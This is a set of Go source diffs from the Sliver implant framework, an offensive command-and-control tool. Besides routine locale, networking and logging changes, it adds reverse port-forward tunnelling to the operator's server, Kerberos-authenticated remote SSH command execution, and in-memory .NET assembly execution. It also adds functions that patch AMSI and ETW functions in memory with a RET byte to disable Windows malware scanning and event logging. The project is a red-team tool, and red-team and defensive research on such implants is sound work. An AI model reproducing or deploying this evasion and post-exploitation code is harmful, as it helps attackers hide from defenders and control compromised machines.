// +build windows
package jibberjabber
import (
"errors"
"unsafe"
"golang.org/x/sys/windows"
)
// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
const LOCALE_NAME_MAX_LENGTH uint32 = 85
func getWindowsLocaleFrom(sysCall string) (string, error) {
buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
dll, err := windows.LoadDLL("kernel32")
if err != nil {
return "", errors.New("could not find kernel32 dll: " + err.Error())
}
proc, err := dll.FindProc(sysCall)
if err != nil {
return "", err
}
r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
if r == 0 {
return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
}
return windows.UTF16ToString(buffer), nil
}
func getWindowsLocale() (string, error) {
locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
if err != nil {
locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
}
return locale, err
}
// DetectIETF detects and returns the IETF language tag of Windows.
func DetectIETF() (string, error) {
return getWindowsLocale()
}
@@ -0,0 +1,63 @@
// +build windows
package jibberjabber_test
import (
"regexp"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
const (
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
LANGUAGE_REGEXP = "^[a-z]{2}$"
TERRITORY_REGEXP = "^[A-Z]{2}$"
)
var _ = Describe("Windows", func() {
BeforeEach(func() {
locale, err := DetectIETF()
Ω(err).Should(BeNil())
Ω(locale).ShouldNot(BeNil())
Ω(locale).ShouldNot(Equal(""))
})
Describe("#DetectIETF", func() {
It("detects correct IETF locale", func() {
locale, _ := DetectIETF()
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguage", func() {
It("detects correct Language", func() {
language, _ := DetectLanguage()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguageTag", func() {
It("detects correct Language Tag", func() {
result, _ := DetectLanguageTag()
base, _ := result.Base()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
Ω(matched).Should(BeTrue())
region, _ := result.Region()
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectTerritory", func() {
It("detects correct Territory", func() {
territory, _ := DetectTerritory()
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
Ω(matched).Should(BeTrue())
})
})
})
+35
View File
@@ -0,0 +1,35 @@
//go:build darwin || linux || windows
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
)
// GetLocale returns the default language set
func GetLocale() string {
userLocale, err := jibberjabber.DetectIETF()
if err != nil {
return ""
}
return userLocale
}
+30
View File
@@ -0,0 +1,30 @@
//go:build !darwin && !windows && !linux
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-----------------------------------------------------------------------
Place holder so we don't get undefined functions in generic builds.
*/
// GetLocale returns the default language set
func GetLocale() string {
return ""
}
+34 -71
View File
@@ -6,6 +6,7 @@
package netstack
import (
"bytes"
"context"
"crypto/rand"
"encoding/binary"
@@ -23,10 +24,11 @@ import (
"golang.zx2c4.com/wireguard/tun"
"golang.org/x/net/dns/dnsmessage"
"gvisor.dev/gvisor/pkg/bufferv2"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/buffer"
"gvisor.dev/gvisor/pkg/tcpip/header"
"gvisor.dev/gvisor/pkg/tcpip/link/channel"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
"gvisor.dev/gvisor/pkg/tcpip/stack"
@@ -37,69 +39,16 @@ import (
)
type netTun struct {
ep *channel.Endpoint
stack *stack.Stack
dispatcher stack.NetworkDispatcher
events chan tun.Event
incomingPacket chan buffer.VectorisedView
incomingPacket chan *bufferv2.View
mtu int
dnsServers []netip.Addr
hasV4, hasV6 bool
}
type (
endpoint netTun
Net netTun
)
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
e.dispatcher = dispatcher
}
func (e *endpoint) IsAttached() bool {
return e.dispatcher != nil
}
func (e *endpoint) MTU() uint32 {
mtu, err := (*netTun)(e).MTU()
if err != nil {
panic(err)
}
return uint32(mtu)
}
func (*endpoint) Capabilities() stack.LinkEndpointCapabilities {
return stack.CapabilityNone
}
func (*endpoint) MaxHeaderLength() uint16 {
return 0
}
func (*endpoint) LinkAddress() tcpip.LinkAddress {
return ""
}
func (*endpoint) Wait() {}
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
return nil
}
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
panic("not implemented")
}
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
panic("not implemented")
}
func (*endpoint) ARPHardwareType() header.ARPHardwareType {
return header.ARPHardwareNone
}
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
}
type Net netTun
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
opts := stack.Options{
@@ -108,13 +57,15 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
HandleLocal: true,
}
dev := &netTun{
ep: channel.New(1024, uint32(mtu), ""),
stack: stack.New(opts),
events: make(chan tun.Event, 10),
incomingPacket: make(chan buffer.VectorisedView),
incomingPacket: make(chan *bufferv2.View),
dnsServers: dnsServers,
mtu: mtu,
}
tcpipErr := dev.stack.CreateNIC(1, (*endpoint)(dev))
dev.ep.AddNotify(dev)
tcpipErr := dev.stack.CreateNIC(1, dev.ep)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
}
@@ -167,6 +118,7 @@ func (tun *netTun) Read(buf []byte, offset int) (int, error) {
if !ok {
return 0, os.ErrClosed
}
return view.Read(buf[offset:])
}
@@ -176,17 +128,29 @@ func (tun *netTun) Write(buf []byte, offset int) (int, error) {
return 0, nil
}
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Data: buffer.NewVectorisedView(len(packet), []buffer.View{buffer.NewViewFromBytes(packet)})})
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: bufferv2.MakeWithData(packet)})
switch packet[0] >> 4 {
case 4:
tun.dispatcher.DeliverNetworkPacket("", "", ipv4.ProtocolNumber, pkb)
tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
case 6:
tun.dispatcher.DeliverNetworkPacket("", "", ipv6.ProtocolNumber, pkb)
tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
}
return len(buf), nil
}
func (tun *netTun) WriteNotify() {
pkt := tun.ep.Read()
if pkt == nil {
return
}
view := pkt.ToView()
pkt.DecRef()
tun.incomingPacket <- view
}
func (tun *netTun) Flush() error {
return nil
}
@@ -197,9 +161,9 @@ func (tun *netTun) Close() error {
if tun.events != nil {
close(tun.events)
}
if tun.incomingPacket != nil {
close(tun.incomingPacket)
}
tun.ep.Close()
return nil
}
@@ -434,11 +398,10 @@ func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
return 0, fmt.Errorf("ping write: mismatched protocols")
}
buf := buffer.NewViewFromBytes(p)
rdr := buf.Reader()
buf := bytes.NewReader(p)
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
// won't block, no deadlines
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
n64, tcpipErr := pc.ep.Write(buf, tcpip.WriteOptions{
To: &rfa,
})
if tcpipErr != nil {
@@ -453,8 +416,8 @@ func (pc *PingConn) Write(p []byte) (n int, err error) {
}
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
e, notifyCh := waiter.NewChannelEntry(nil)
pc.wq.EventRegister(&e, waiter.EventIn)
e, notifyCh := waiter.NewChannelEntry(waiter.EventIn)
pc.wq.EventRegister(&e)
defer pc.wq.EventUnregister(&e)
select {
@@ -488,7 +451,7 @@ func (pc *PingConn) SetDeadline(t time.Time) error {
}
func (pc *PingConn) SetReadDeadline(t time.Time) error {
pc.deadline.Reset(t.Sub(time.Now()))
pc.deadline.Reset(time.Until(t))
return nil
}
+2
View File
@@ -1,3 +1,4 @@
//go:build darwin
// +build darwin
package ps
@@ -90,6 +91,7 @@ func processes() ([]Process, error) {
pCommReader := bytes.NewBuffer(pComm)
binPath, _ = pCommReader.ReadString(0x00)
}
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
+251
View File
@@ -0,0 +1,251 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"encoding/binary"
"io"
"math/rand"
"net"
"strconv"
"sync"
"time"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Portfwds - Struct instance that holds all the portfwds
Portfwds = portfwds{
forwards: map[int]*Portfwd{},
mutex: &sync.RWMutex{},
}
portfwdID = 0
)
// PortfwdMeta - Metadata about a portfwd listener
type PortfwdMeta struct {
ID int
SessionID string
BindAddr string
RemoteAddr string
}
// Portfwd - Tracks portfwd<->tcpproxy
type Portfwd struct {
ID int
TCPProxy *tcpproxy.Proxy
ChannelProxy *ChannelProxy
}
// GetMetadata - Get metadata about the portfwd
func (p *Portfwd) GetMetadata() *PortfwdMeta {
return &PortfwdMeta{
ID: p.ID,
BindAddr: p.ChannelProxy.BindAddr,
RemoteAddr: p.ChannelProxy.RemoteAddr,
}
}
type portfwds struct {
forwards map[int]*Portfwd
mutex *sync.RWMutex
}
// Add - Add a TCP proxy instance
func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
portfwd := &Portfwd{
ID: nextPortfwdID(),
TCPProxy: tcpProxy,
ChannelProxy: channelProxy,
}
f.forwards[portfwd.ID] = portfwd
return portfwd
}
// Remove - Remove a TCP proxy instance
func (f *portfwds) Remove(portfwdID int) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
if portfwd, ok := f.forwards[portfwdID]; ok {
portfwd.TCPProxy.Close()
delete(f.forwards, portfwdID)
return portfwd
}
return nil
}
// List - List all TCP proxy instances
func (f *portfwds) List() []*PortfwdMeta {
f.mutex.RLock()
defer f.mutex.RUnlock()
portForwards := []*PortfwdMeta{}
for _, portfwd := range f.forwards {
portForwards = append(portForwards, portfwd.GetMetadata())
}
return portForwards
}
// ChannelProxy binds the Sliver Tunnel to a net.Conn object
// one ChannelProxy per port bind.
//
// Implements the Target interface from tcpproxy pkg
type ChannelProxy struct {
Conn *transports.Connection
//Session *clientpb.Session
BindAddr string
RemoteAddr string
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
// HandleConn - Handle a TCP connection
func (p *ChannelProxy) HandleConn(src net.Conn) {
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Handling new connection")
// {{end}}
ctx := context.Background()
var cancelContext context.CancelFunc
if p.DialTimeout >= 0 {
ctx, cancelContext = context.WithTimeout(ctx, p.dialTimeout())
}
if conn, ok := src.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[rportfwd] Creating tcp tunnel")
// {{end}}
tId := NewTunnelID()
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Created new tunnel with id %d", tId)
// {{end}}
tunnel := transports.NewTunnel(
tId,
src,
src,
)
p.Conn.AddTunnel(tunnel)
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := p.Conn.Tunnel(tunnel.ID)
if tunnel != nil {
p.Conn.RemoveTunnel(tunnel.ID)
}
src.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: p.Conn,
host: p.Host(),
port: p.Port(),
protocol: sliverpb.PortFwdProtoTCP,
tunnelID: tId,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
// HostPort - Returns the host and port of the TCP proxy
func (p *ChannelProxy) HostPort() (string, uint32) {
defaultPort := uint32(8080)
host, rawPort, err := net.SplitHostPort(p.RemoteAddr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse addr %s", p.RemoteAddr)
// {{end}}
return "", defaultPort
}
portNumber, err := strconv.Atoi(rawPort)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse number from %s", rawPort)
// {{end}}
return "", defaultPort
}
port := uint32(portNumber)
if port < 1 || 65535 < port {
// {{if .Config.Debug}}
log.Printf("Invalid port number %d", port)
// {{end}}
return "", defaultPort
}
return host, port
}
// Port - Returns the TCP port of the proxy
func (p *ChannelProxy) Port() uint32 {
_, port := p.HostPort()
return port
}
// Host - Returns the host (i.e., interface) of the TCP proxy
func (p *ChannelProxy) Host() string {
host, _ := p.HostPort()
return host
}
func (p *ChannelProxy) dialTimeout() time.Duration {
if p.DialTimeout > 0 {
return p.DialTimeout
}
return 30 * time.Second
}
func nextPortfwdID() int {
portfwdID++
return portfwdID
}
// NewTunnelID - New 64-bit identifier
func NewTunnelID() uint64 {
randBuf := make([]byte, 8)
rand.Read(randBuf)
return binary.LittleEndian.Uint64(randBuf)
}
+71
View File
@@ -0,0 +1,71 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
host string
port uint32
protocol int
tunnelID uint64
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
createReverse := false
rportfwdInfo := &sliverpb.RPortfwd{}
if tw.tun.WriteSequence() == 0 {
createReverse = true
rportfwdInfo.Host = tw.host
rportfwdInfo.Port = tw.port
rportfwdInfo.Protocol = int32(tw.protocol)
rportfwdInfo.TunnelID = tw.tunnelID
}
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
CreateReverse: createReverse,
Rportfwd: rportfwdInfo,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
+5 -3
View File
@@ -58,9 +58,11 @@ func DarwinCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+5 -3
View File
@@ -47,9 +47,11 @@ func LinuxCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+5 -3
View File
@@ -47,9 +47,11 @@ func WindowsCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+18
View File
@@ -1,5 +1,23 @@
package service
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"time"
+24 -3
View File
@@ -3,15 +3,21 @@ package ssh
import (
"bytes"
"fmt"
"io/ioutil"
// {{if .Config.Debug}}
"log"
// {{end}}
"net"
"os"
"github.com/yiya1989/sshkrb5/krb5forssh"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/agent"
)
func getClient(host string, port uint16, username string, password string, privKey []byte) (*ssh.Client, error) {
func getClient(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
var authMethods []ssh.AuthMethod
if password != "" {
// Try password auth first
@@ -23,6 +29,17 @@ func getClient(host string, port uint16, username string, password string, privK
return nil, err
}
authMethods = append(authMethods, ssh.PublicKeys(signer))
} else if krb5conf != "" && keytab != nil && realm != "" {
// Then try kerberos auth
krb5ConfData, err := ioutil.ReadFile(krb5conf)
if err != nil {
return nil, err
}
sshGSSAPIClient, err := krb5forssh.NewKrb5InitiatorClient(string(krb5ConfData), username, realm, keytab)
if err != nil {
return nil, err
}
authMethods = append(authMethods, ssh.GSSAPIWithMICAuthMethod(&sshGSSAPIClient, host))
} else {
// Use ssh-agent if neither password nor private key has been provided
// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
@@ -35,6 +52,10 @@ func getClient(host string, port uint16, username string, password string, privK
authMethods = append(authMethods, ssh.PublicKeysCallback(agentClient.Signers))
}
// {{if .Config.Debug}}
log.Printf("Auth methods: %+v\n", authMethods)
// {{end}}
config := &ssh.ClientConfig{
User: username,
Auth: authMethods,
@@ -53,12 +74,12 @@ func getClient(host string, port uint16, username string, password string, privK
}
// RunSSHCommand - SSH to a host and execute a command
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, command string) (string, string, error) {
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
var (
stdout bytes.Buffer
stderr bytes.Buffer
)
sshc, err := getClient(host, port, username, password, privKey)
sshc, err := getClient(host, port, username, password, privKey, krb5conf, keytab, realm)
if err != nil {
return "", "", err
}
+15 -15
View File
@@ -51,6 +51,7 @@ import (
consts "github.com/bishopfox/sliver/implant/sliver/constants"
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/locale"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
@@ -67,14 +68,7 @@ import (
)
var (
InstanceID string
c2Servers = []string{
// {{range $index, $value := .Config.C2}}
"{{$value}}", // {{$index}}
// {{end}}
}
InstanceID string
connectionErrors = 0
)
@@ -202,7 +196,7 @@ func beaconStartup() {
defer func() {
abort <- struct{}{}
}()
beacons := transports.StartBeaconLoop(c2Servers, abort)
beacons := transports.StartBeaconLoop(abort)
for beacon := range beacons {
// {{if .Config.Debug}}
log.Printf("Next beacon = %v", beacon)
@@ -234,7 +228,7 @@ func sessionStartup() {
defer func() {
abort <- struct{}{}
}()
connections := transports.StartConnectionLoop(c2Servers, abort)
connections := transports.StartConnectionLoop(abort)
for connection := range connections {
if connection != nil {
err := sessionMainLoop(connection)
@@ -300,8 +294,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Register: register,
NextCheckin: int64(beacon.Duration().Seconds()),
}))
beacon.Close()
time.Sleep(time.Second)
beacon.Close()
// BeaconMain - Is executed in it's own goroutine as the function will block
// until all tasks complete (in success or failure), if a task handler blocks
@@ -353,6 +347,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{if .Config.Debug}}
log.Printf("[beacon] closing ...")
// {{end}}
time.Sleep(time.Second)
beacon.Close()
}()
// {{if .Config.Debug}}
@@ -480,9 +475,7 @@ func openSessionHandler(data []byte) {
log.Printf("[beacon] failed to parse open session msg: %s", err)
// {{end}}
}
// {{if .Config.Debug}}
log.Printf("[beacon] open session -> %v", openSession.C2S)
// {{end}}
if openSession.Delay != 0 {
// {{if .Config.Debug}}
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
@@ -492,7 +485,7 @@ func openSessionHandler(data []byte) {
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(openSession.C2S, abort)
connections := transports.StartConnectionLoop(abort)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
@@ -548,6 +541,7 @@ func sessionMainLoop(connection *transports.Connection) error {
tunHandlers := handlers.GetTunnelHandlers()
sysHandlers := handlers.GetSystemHandlers()
specialHandlers := handlers.GetSpecialHandlers()
rportfwdHandlers := handlers.GetRportFwdHandlers()
for envelope := range connection.Recv {
if handler, ok := specialHandlers[envelope.Type]; ok {
@@ -560,6 +554,11 @@ func sessionMainLoop(connection *transports.Connection) error {
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := sysHandlers[envelope.Type]; ok {
// Beware, here be dragons.
// This is required for the specific case of token impersonation:
@@ -684,5 +683,6 @@ func registerSliver() *sliverpb.Register {
ReconnectInterval: int64(transports.GetReconnectInterval()),
ConfigID: "{{ .Config.ID }}",
PeerID: pivots.MyPeerID,
Locale: locale.GetLocale(),
}
}
+21 -2
View File
@@ -1,12 +1,31 @@
//go:build windows
// +build windows
package spoof
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"golang.org/x/sys/windows"
"os/exec"
"syscall"
"golang.org/x/sys/windows"
// {{if .Config.Debug}}
"log"
// {{end}}
+109
View File
@@ -0,0 +1,109 @@
//go:build windows
// +build windows
package taskrunner
import (
"crypto/sha256"
"errors"
"fmt"
clr "github.com/Ne0nd0g/go-clr"
"sync"
// {{if .Config.Debug}}
"log"
// {{end}}
)
var (
clrInstance *CLRInstance
assemblies []*assembly
)
type assembly struct {
methodInfo *clr.MethodInfo
hash [32]byte
}
type CLRInstance struct {
runtimeHost *clr.ICORRuntimeHost
sync.Mutex
}
func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
c.Lock()
defer c.Unlock()
if c.runtimeHost == nil {
// {{if .Config.Debug}}
log.Printf("Initializing CLR runtime host")
// {{end}}
c.runtimeHost, _ = clr.LoadCLR(runtime)
err := clr.RedirectStdoutStderr()
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not redirect stdout/stderr: %v\n", err)
// {{end}}
}
}
return c.runtimeHost
}
func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
var (
methodInfo *clr.MethodInfo
err error
)
rtHost := clrInstance.GetRuntimeHost(runtime)
if rtHost == nil {
return "", errors.New("Could not load CLR runtime host")
}
if asm := getAssembly(data); asm != nil {
methodInfo = asm.methodInfo
} else {
methodInfo, err = clr.LoadAssembly(rtHost, data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not load assembly: %v\n", err)
// {{end}}
return "", err
}
addAssembly(methodInfo, data)
}
if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
// for methods like Main(String[] args), if we pass an empty string slice
// the clr loader will not pass the argument and look for a method with
// no arguments, which won't work
assemblyArgs = []string{" "}
}
// {{if .Config.Debug}}
log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
// {{end}}
stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
// {{if .Config.Debug}}
log.Printf("Got output: %s\n%s\n", stdout, stderr)
// {{end}}
return fmt.Sprintf("%s\n%s", stdout, stderr), nil
}
func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
asmHash := sha256.Sum256(data)
asm := &assembly{methodInfo: methodInfo, hash: asmHash}
assemblies = append(assemblies, asm)
}
func getAssembly(data []byte) *assembly {
asmHash := sha256.Sum256(data)
for _, asm := range assemblies {
if asm.hash == asmHash {
return asm
}
}
return nil
}
func init() {
clrInstance = &CLRInstance{}
assemblies = make([]*assembly, 0)
}
+90
View File
@@ -200,6 +200,96 @@ func LocalTask(data []byte, rwxPages bool) error {
return err
}
func patchAmsi() error {
// load amsi.dll
amsiDLL := windows.NewLazyDLL("amsi.dll")
amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
amsiScanString := amsiDLL.NewProc("AmsiScanString")
// patch
amsiAddr := []uintptr{
amsiScanBuffer.Addr(),
amsiInitialize.Addr(),
amsiScanString.Addr(),
}
patch := byte(0xC3)
for _, addr := range amsiAddr {
// skip if already patched
if *(*byte)(unsafe.Pointer(addr)) != patch {
// {{if .Config.Debug}}
log.Println("Patching AMSI")
// {{end}}
var oldProtect uint32
err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect failed:", err)
//{{end}}
return err
}
*(*byte)(unsafe.Pointer(addr)) = 0xC3
err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect (restauring) failed:", err)
//{{end}}
return err
}
}
}
return nil
}
func patchEtw() error {
ntdll := windows.NewLazyDLL("ntdll.dll")
etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
// patch
patch := byte(0xC3)
// skip if already patched
if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
// {{if .Config.Debug}}
log.Println("Patching ETW")
// {{end}}
var oldProtect uint32
err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect failed:", err)
//{{end}}
return err
}
*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect (restauring) failed:", err)
//{{end}}
return err
}
}
return nil
